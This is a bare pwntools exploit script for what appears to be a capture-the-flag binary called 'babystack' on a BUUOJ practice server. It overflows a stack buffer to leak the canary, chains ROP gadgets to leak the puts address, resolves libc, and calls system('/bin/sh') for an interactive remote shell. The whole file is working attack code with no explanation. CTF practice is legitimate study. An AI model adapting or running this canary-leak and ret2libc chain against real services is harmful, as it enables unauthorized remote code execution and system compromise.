```
from pwn import *
from LibcSearcher import *

io=remote('node4.buuoj.cn',29766)
#io=process('./babystack')
elf = ELF('./babystack')
context.log_level = 'debug'

io.recvuntil(">>")
io.send(str(1))
payload = 'a'*128+'b'*8
io.sendline(payload)
#gdb.attach(io)
io.recvuntil(">>")
io.send(str(2))
io.recvuntil('bbbbbbbb\n')
canary = u64(io.recv(7).rjust(8,'\x00'))
print('canary:'+hex(canary))

pop_rdi = 0x400a93
main = 0x400908
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
io.recvuntil(">>")
io.send(str(1))
payload = 'a'*128+'b'*8+p64(canary)+'c'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)
io.recvuntil(">>")
io.send(str(3))
io.recvuntil('\x20')
puts_addr = u64(io.recv(6).ljust(8,'\x00'))
print('puts_addr:'+hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
sh = libc_base + libc.dump('str_bin_sh')

io.recvuntil(">>")
io.send(str(1))
payload = 'a'*128+'b'*8+p64(canary)+'c'*8 + p64(pop_rdi)+p64(sh)+p64(system)
io.send(payload)
io.recvuntil(">>")
io.send(str(3))

io.interactive()
```